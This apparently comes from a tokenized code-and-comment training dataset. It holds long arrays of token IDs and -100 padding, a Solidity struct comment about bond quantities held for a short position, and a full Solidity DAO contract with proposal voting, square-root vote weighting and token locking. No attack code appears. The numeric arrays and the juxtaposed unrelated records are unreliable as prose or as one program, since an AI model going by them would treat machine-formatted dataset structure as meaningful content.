-100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/84531/0x5767C841d927cdec5B7d50869a3B3D400f6ad518/sources/src/lib/FrenBondDataTypes.sol
Bonds quantity held for Short.
uint256 shortQuantity;
14,319,781
[ 1, 4625, 348, 7953, 560, 30, 225, 605, 4096, 10457, 15770, 364, 7925, 18, 203, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 2254, 5034, 3025, 12035, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.5.14; import "@openzeppelin/upgrades/contracts/Initializable.sol"; import "openzeppelin-solidity/contracts/lifecycle/Pausable.sol"; import "openzeppelin-solidity/contracts/access/roles/WhitelistedRole.sol"; import "openzeppelin-solidity/contracts/token/ERC20/IERC20.sol"; import "openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol"; import "openzeppelin-solidity/contracts/math/SafeMath.sol"; import "./libraries/VotingLib.sol"; /** * @title Universal DAO for projects based on Openzeppelin SDK * @dev This contract holds main DAO logic and storages * @author Kostiantyn Smyrnov <[email protected]> */ contract Dao is Initializable, Pausable, WhitelistedRole { using SafeMath for uint256; using SafeERC20 for IERC20; /** * @dev List of acceptable proposal types * Usefull for filtering purposes */ enum ProposalType { ContractUpgrade, MethodCall } /** * @dev Acceptable vote types */ enum VoteType { Yes, No } /** * @dev Proposal transaction * @param destination Transaction target address * @param value Ethers value to send with transaction * @param data Signed transaction data * @param executed Transaction execution flag * @param failed Transaction execution result */ struct Transaction { address destination; uint256 value; bytes data; bool executed; bool success; } /** * @dev Proposal structure * @param proposer Proposer address * @param details Proposal description. Can be text|IPFS Hash|Url|Etc * @param proposalType Proposal type * @param transaction Transaction storage * @param duration Proposal duration in days * @param end Proposal voting end date * @param flags Proposal state flags [passed, processed, cancelled] */ struct Proposal { address proposer; string details; ProposalType proposalType; Transaction transaction; uint256 duration; uint256 end; bool[3] flags; } /** * @dev Vote structure * @param voteType Type of the vote * @param valueOriginal Original vote value (not converted) * @param valueAccepted Accepted vote value (converted) * @param revoked Revoked flag */ struct Vote { VoteType voteType; uint256 valueOriginal; uint256 valueAccepted; bool revoked; bool withdrawn; } /** * @dev Voting structure * @param ids List of the voters votes Ids (indexes) * @param voted List voted voters * @param votes List of votes * @param votesCount Votes counter */ struct Voting { mapping (address => uint256) ids;// voterAddress => voteId mapping (address => bool) voted;// voterAddress => bool mapping (uint256 => Vote) votes;// voteId => Vote uint256 votesCount; } /** * @dev This event will be emitted when proposal has been added * @param proposer Proposer address * @param proposalId Proposal Id */ event ProposalAdded( address proposer, uint256 proposalId ); /** * @dev This event will be emitted when proposal has been cancelled * @param proposalId Proposal Id */ event ProposalCancelled(uint256 proposalId); /** * @dev This event will be emitted when Vote is accepted * @param proposalId Proposal Id * @param voteType Type of the vote * @param voter Voter address * @param votes Original votes sent * @param votesAccepted Accepted votes amount */ event VoteAdded( uint256 proposalId, VoteType voteType, address voter, uint256 votes, uint256 votesAccepted ); /** * @dev This event will be emitted when existed Vote is revoked * @param proposalId Proposal Id * @param voteType Type of the vote * @param voter Voter address * @param votes Original votes revoked */ event VoteRevoked( uint256 proposalId, VoteType voteType, address voter, uint256 votes ); /** * @dev This event will be emitted when service tokens are locked * @param voter Voter address * @param value Locked tokens amount */ event TokensLocked( address voter, uint256 value ); /** * @dev This event will be emitted when service tokens are released * @param voter Voter address * @param value Released tokens amount */ event TokensReleased( address voter, uint256 value ); /** * @dev This event will be emitted when proposal moved to processed state * @param proposalId Proposal Id * @param executor Address of proposal executor * @param passed Voting result */ event ProposalProcessed( uint256 proposalId, address executor, bool passed ); /** * @dev This event will be emitted when sent proposal transaction has succeeded * @param proposalId Proposal Id */ event TransactionSuccessed(uint256 proposalId); /** * @dev This event will be emitted when sent proposal transaction has failed * @param proposalId Proposal Id */ event TransactionFailed(uint256 proposalId); /// @dev Contract version number string public constant version = "0.1.1"; /// @dev Token that using in voting process IERC20 public serviceToken; /// @dev Number of proposals uint256 public proposalCount; /// @dev Proposals storage mapping (uint256 => Proposal) internal proposals;// proposalId => Proposal /// @dev Proposals votings mapping (uint256 => Voting) internal votings;// proposalId => Voting /** * @dev This modifier allows function execution if proposal exist only * @param proposalId Proposal Id */ modifier proposalExists(uint256 proposalId) { require(proposals[proposalId].duration != 0, "PROPOSAL_NOT_FOUND"); _; } /** * @dev This modifier allows function execution for the proposer only * @param proposalId Proposal Id */ modifier onlyProposer(uint256 proposalId) { require(msg.sender == proposals[proposalId].proposer, "NOT_A_PROPOSER"); _; } /** * @dev This modifier allows function execution if proposal has not passed flag * @param proposalId Proposal Id */ modifier notPassed(uint256 proposalId) { require(!proposals[proposalId].flags[0], "PROPOSAL_PASSED"); _; } /** * @dev This modifier allows function execution if proposal has not processed flag * @param proposalId Proposal Id */ modifier notProcessed(uint256 proposalId) { require(!proposals[proposalId].flags[1], "PROPOSAL_PROCESSED"); _; } /** * @dev This modifier allows function execution if proposal has not cancelled flag * @param proposalId Proposal Id */ modifier notCancelled(uint256 proposalId) { require(!proposals[proposalId].flags[2], "PROPOSAL_CANCELLED"); _; } /** * @dev This modifier allows function execution if proposal not finished * @param proposalId Proposal Id */ modifier notFinished(uint256 proposalId) { require(time() < proposals[proposalId].end, "PROPOSAL_FINISHED"); _; } /** * @dev This modifier allows function execution if proposal finished only * @param proposalId Proposal Id */ modifier onlyFinished(uint256 proposalId) { require(time() >= proposals[proposalId].end, "PROPOSAL_NOT_FINISHED"); _; } /** * @dev This modifier allows function execution if sender already voted for proposal * @param proposalId Proposal Id */ modifier voteExists(uint256 proposalId) { require(votings[proposalId].voted[msg.sender], "VOTE_NOT_FOUND"); _; } /** * @dev Contract initializer * @param token Address of the service token */ function initialize(address token) external initializer { serviceToken = IERC20(token); proposalCount = 0; // Add proxy owner PuserRole _addPauser(msg.sender); // Add proxy owner WhitelistAdminRole _addWhitelistAdmin(msg.sender); } /** * @dev Add new proposal * * Requirements: * - sender address should be whitelisted * - contract should not be in paused state * - proposal type should allowed proposalType * - destination address should not be a valid target address * - sent ether value should be consistent with value parameter * * @param details Proposal details * @param proposalType Proposal type * @param duration Proposal voting duration in days * @param destination Transaction target address * @param value Transaction value in ethers * @param data Signed transaction data */ function addProposal( string calldata details, ProposalType proposalType, uint256 duration, address destination, uint256 value, bytes calldata data ) external payable onlyWhitelisted whenNotPaused { assertProposalType(proposalType);// Throws an Invalid opcode if proposalType not valid // @todo Add conditions and test for proposal `duration` (s.l. min and max value) require(destination != address(0), "INVALID_DESTINATION"); require(value == 0 || (value > 0 && msg.value >= value), "INSUFFICIENT_ETHER_VALUE"); emit ProposalAdded(msg.sender, proposalCount); bool[3] memory flags; proposals[proposalCount] = Proposal( msg.sender, details, proposalType, Transaction( destination, value, data, false, false ), duration, time().add(duration.mul(86400)), flags ); proposalCount = proposalCount.add(1); } /** * @dev Cancelling of the proposal * * Requirements: * - proposal should exists * - sender address should be a proposer address * - proposal should not be in a passed state * - proposal should not be in a processed state * - proposal should not be cancelled * - proposal has no votes * * @param proposalId Proposal Id */ function cancelProposal(uint256 proposalId) external proposalExists(proposalId) onlyProposer(proposalId) notPassed(proposalId) notProcessed(proposalId) notCancelled(proposalId) { (uint256 yes, uint256 no) = votingResult(proposalId); require(yes == 0 && no == 0, "PROPOSAL_HAS_VOTES"); proposals[proposalId].flags[2] = true; emit ProposalCancelled(proposalId); } /** * @dev Vote for the proposal * * Requirements: * - proposal should exists * - contract not paused * - proposal should not be in a passed state * - proposal should not be cancelled * - sender tokens balance should be sufficient * - tokens allowance for the DAO address should be sufficient * - voting not expired (does not exceed voting time frame) * * @param proposalId Proposal Id * @param voteType Type of the vote (Yes/No) * @param votes Amount of service token to use in the vote */ function vote( uint256 proposalId, VoteType voteType, uint256 votes ) external whenNotPaused proposalExists(proposalId) notPassed(proposalId) notCancelled(proposalId) notFinished(proposalId) { require(serviceToken.balanceOf(msg.sender) >= votes, "INSUFFICIENT_TOKENS_BALANCE"); require(serviceToken.allowance(msg.sender, address(this)) >= votes, "INSUFFICIENT_TOKENS_ALLOWANCE"); // Transfer tokens to the DAO lockTokens(msg.sender, votes); uint256 votesAccepted; if (!votings[proposalId].voted[msg.sender]) { // Create new Vote votings[proposalId].voted[msg.sender] = true; uint256 voteId = votings[proposalId].votesCount; votings[proposalId].ids[msg.sender] = voteId; votesAccepted = convertVotes(votes); votings[proposalId].votes[voteId] = Vote( voteType, votes, votesAccepted, false, false ); // Update votes counter votings[proposalId].votesCount = votings[proposalId].votesCount.add(1); } else { // Re-use existed Vote Vote storage existedVote = votings[proposalId].votes[votings[proposalId].ids[msg.sender]]; if (existedVote.revoked) { // Enable revoked vote status existedVote.revoked = false; existedVote.withdrawn = false; votesAccepted = convertVotes(votes); } else { // For now allowed adding new value only // @todo Implement conditional update: if votesSent less then previous value then do partial withdraw votes = existedVote.valueOriginal.add(votes); votesAccepted = convertVotes(votes); // Emitting this event for consistency emit VoteRevoked( proposalId, existedVote.voteType, msg.sender, existedVote.valueOriginal ); } // Update existed Vote existedVote.voteType = voteType; existedVote.valueOriginal = votes; existedVote.valueAccepted = votesAccepted; } emit VoteAdded( proposalId, voteType, msg.sender, votes, votesAccepted ); } /** * @dev Revoke of the placed vote * * Requirements: * - proposal should exists * - proposal should not be in a passed state * - proposal should not be cancelled * - vote should not been already revoked * * @param proposalId Proposal Id */ function revokeVote(uint256 proposalId) external proposalExists(proposalId) notPassed(proposalId) notCancelled(proposalId) { Vote storage existedVote = votings[proposalId] .votes[votings[proposalId].ids[msg.sender]]; require(!existedVote.revoked, "VOTE_REVOKED"); // Exclude vote from the voting results existedVote.revoked = true; existedVote.withdrawn = true; // Push tokens to the voter releaseTokens(msg.sender, existedVote.valueOriginal); emit VoteRevoked( proposalId, existedVote.voteType, msg.sender, existedVote.valueOriginal ); } /** * @dev Process proposal * * Requirements: * - proposal should exists * - contract not paused * - proposal should not be processed * - proposal should not be cancelled * - proposal is finished * * @param proposalId Proposal Id */ function processProposal(uint256 proposalId) external whenNotPaused proposalExists(proposalId) notProcessed(proposalId) notCancelled(proposalId) onlyFinished(proposalId) { Proposal storage proposal = proposals[proposalId]; proposal.flags[1] = true; // 'processed' state bool isPassed = isVotingPassed(proposalId); if (isPassed && !proposal.transaction.executed) { proposal.flags[0] = true; // 'passed' state proposal.transaction.executed = true; bool success = executeTransaction( proposal.transaction.destination, proposal.transaction.value, proposal.transaction.data ); if (success) { proposal.transaction.success = true; emit TransactionSuccessed(proposalId); } else { emit TransactionFailed(proposalId); } } emit ProposalProcessed(proposalId, msg.sender, isPassed); } /** * @dev Withdraw released tokens * * Requirements: * - proposal should exists * - proposal should be finished * - sender has positive locked tokens balance * * @param proposalId Proposal Id */ function withdrawTokens(uint256 proposalId) external proposalExists(proposalId) onlyFinished(proposalId) { uint256 tokensBalance = tokensBalance(proposalId); require(tokensBalance > 0, "INSUFFICIENT_TOKENS_BALANCE"); Vote storage existedVote = votings[proposalId] .votes[votings[proposalId].ids[msg.sender]]; // Push tokens to the voter existedVote.withdrawn = true; releaseTokens(msg.sender, existedVote.valueOriginal); } /** * @dev Get proposal by Id (index) * * Requirements: * - proposal should exists * * @param proposalId Proposal Id * @return string Proposal details * @return ProposalType Proposal type * @return uint256 Proposal duration in days * @return uint256 Proposal end date * @return bool[3] Proposal status flags * @return address Transaction target address * @return uint256 Ether value to send with transaction * @return bytes Transaction data * @return bool Transaction execution status * @return bool Transaction execution result status */ function getProposal(uint256 proposalId) external view proposalExists(proposalId) returns ( string memory details, ProposalType proposalType, uint256 duration, uint256 end, bool[3] memory flags, address txDestination, uint256 txValue, bytes memory txData, bool txExecuted, bool txSuccess ) { Proposal storage existedProposal = proposals[proposalId]; details = existedProposal.details; proposalType = existedProposal.proposalType; duration = existedProposal.duration; end = existedProposal.end; flags = existedProposal.flags; txDestination = existedProposal.transaction.destination; txValue = existedProposal.transaction.value; txData = existedProposal.transaction.data; txExecuted = existedProposal.transaction.executed; txSuccess = existedProposal.transaction.success; } /** * @dev Get own vote from proposal voting * * Requirements: * - proposal should exists * - vote should be exist * * @param proposalId Proposal Id * @return VoteType Type of the vote * @return uint256 Original vote value sent * @return uint256 Acceptes vote value * @return bool Reveked state of the vote */ function getVote(uint256 proposalId) external view proposalExists(proposalId) voteExists(proposalId) returns( VoteType voteType, uint256 valueOriginal, uint256 valueAccepted, bool revoked ) { Vote storage senderVote = votings[proposalId] .votes[votings[proposalId].ids[msg.sender]]; voteType = senderVote.voteType; valueOriginal = senderVote.valueOriginal; valueAccepted = senderVote.valueAccepted; revoked = senderVote.revoked; } /** * @dev Get all active proposals Ids * @return uint256[] List of proposals Ids */ function getActiveProposalsIds() external view returns (uint256[] memory) { uint256[] memory ids = new uint256[](activeProposalsCount()); uint256 index; for (uint256 i = 0; i < proposalCount; i++) { if (!proposals[i].flags[0] && !proposals[i].flags[1] && !proposals[i].flags[2] && time() < proposals[i].end) { ids[index] = i; index += 1; } } return ids; } /** * @dev Get all active proposals Ids filtered by proposal type * * Requirements: * - proposal type should be valid * * @return uint256[] List of proposals Ids */ function getActiveProposalsIds(ProposalType proposalType) external view returns (uint256[] memory) { assertProposalType(proposalType);// Throws an Invalid opcode if proposalType not valid uint256[] memory ids = new uint256[](activeProposalsCount(proposalType)); uint256 index; for (uint256 i = 0; i < proposalCount; i++) { if (!proposals[i].flags[0] && !proposals[i].flags[1] && !proposals[i].flags[2] && time() < proposals[i].end && proposals[i].proposalType == proposalType) { ids[index] = i; index += 1; } } return ids; } /** * @dev Replace pauser to the new one * * Requirements: * - sender address should be a pauser address * * @param account New DAO pauser address */ function replacePauser(address account) external onlyPauser { _addPauser(account); _removePauser(msg.sender); } /** * @dev Replace whitelist admin with new one * * Requirements: * - sender address should be a whitelisted admin address * * @param account New DAO whitelist admin address */ function replaceWhitelistAdmin(address account) external onlyWhitelistAdmin { _addWhitelistAdmin(account); _removeWhitelistAdmin(msg.sender); } /** * @dev Balance of locked tokens * @param proposalId Proposal Id * @return uint256 Balance of tokens that available to withdraw */ function tokensBalance(uint256 proposalId) public view proposalExists(proposalId) returns (uint256) { uint256 lockedTokens; // Proposal not cancelled // Voter has voted // Voter nas not withdrawn locked tokens if (!proposals[proposalId].flags[2] && votings[proposalId].voted[msg.sender] && !votings[proposalId] .votes[votings[proposalId].ids[msg.sender]] .withdrawn) { lockedTokens = votings[proposalId] .votes[votings[proposalId].ids[msg.sender]] .valueOriginal; } return lockedTokens; } /** * @dev Get a result of the proposal voting * * Requirements: * - proposal should exists * * @param proposalId Proposal Id * @return uint256 'Yes' variant voting balance * @return uint256 'No' variant voting balance */ function votingResult(uint256 proposalId) public view proposalExists(proposalId) returns( uint256 yes, uint256 no ) { for (uint256 i = 0; i < votings[proposalId].votesCount; i++) { if (!votings[proposalId].votes[i].revoked) { if (votings[proposalId].votes[i].voteType == VoteType.Yes) { yes = yes.add(votings[proposalId].votes[i].valueAccepted); } if (votings[proposalId].votes[i].voteType == VoteType.No) { no = no.add(votings[proposalId].votes[i].valueAccepted); } } } } /** * @dev Check is voting is passed * * Requirements: * - proposal should exists * * @param proposalId Proposal Id * @return uint256 Voting result */ function isVotingPassed(uint256 proposalId) public view proposalExists(proposalId) returns(bool) { if (proposals[proposalId].flags[0]) { // We already know result return true; } else if (proposals[proposalId].flags[2]) { // Cancelled proposals are not passing return false; } else if (time() < proposals[proposalId].end) { // Voting not finished yet return false; } else { (uint256 yes, uint256 no) = votingResult(proposalId); return yes > no; } } /** * @dev Return active proposals count * @return uint256 */ function activeProposalsCount() internal view returns (uint256) { uint256 count; for (uint256 i = 0; i < proposalCount; i++) { if (!proposals[i].flags[0] && !proposals[i].flags[1] && !proposals[i].flags[2] && time() < proposals[i].end) { count = count.add(1); } } return count; } /** * @dev Return active proposals count * @param proposalType Type of proposal * @return uint256 */ function activeProposalsCount(ProposalType proposalType) internal view returns (uint256) { uint256 count; for (uint256 i = 0; i < proposalCount; i++) { if (!proposals[i].flags[0] && !proposals[i].flags[1] && !proposals[i].flags[2] && time() < proposals[i].end && proposals[i].proposalType == proposalType) { count = count.add(1); } } return count; } /** * @dev Transfer service tokens from the voter to the DAO * @param voter Proposal voter * @param value Amount of service tokens to transfer */ function lockTokens( address voter, uint256 value ) internal { serviceToken.safeTransferFrom(voter, address(this), value); emit TokensLocked( voter, value ); } /** * @dev Release locked tokens for the voter * @param voter Proposal voter * @param value Amount of service tokens to transfer */ function releaseTokens( address voter, uint256 value ) internal { serviceToken.safeTransfer(voter, value); emit TokensReleased( voter, value ); } /** * @dev Send a transaction for the proposal * @param destination Target address to send transaction * @param value Ether value to send * @param data Call data * @return bool Transaction execution status */ function executeTransaction( address destination, uint256 value, bytes memory data ) internal returns (bool success) { // solium-disable-next-line security/no-inline-assembly assembly { success := call( sub(gas, 34710), destination, value, add(data, 0x20), mload(data), 0, 0 ) } } /** * @dev Convert votes using defined formula * @param votes Amount of service token to use in the vote * @return uint256 Converted votes value */ function convertVotes(uint256 votes) internal pure returns (uint256) { return VotingLib.sqrt(votes); } /** * @dev Get current time * * This function can be overriden for testing purposes * * @return uint256 Current block time */ function time() internal view returns (uint256) { return now;// solhint-disable-line not-rely-on-time } /** * @dev Validate given ProposalType value * @param typeValue Value of ProposalType to validate * @return uint256 Validation result (or throws Invalide opcode instead) */ function assertProposalType(ProposalType typeValue) private pure returns (uint256) { return uint256(typeValue); } // @todo Add function to withdraw ether funds from contract }
* @dev Get proposal by Id (index) Requirements: - proposal should exists @param proposalId Proposal Id @return string Proposal details @return ProposalType Proposal type @return uint256 Proposal duration in days @return uint256 Proposal end date @return bool[3] Proposal status flags @return address Transaction target address @return uint256 Ether value to send with transaction @return bytes Transaction data @return bool Transaction execution status @return bool Transaction execution result status/
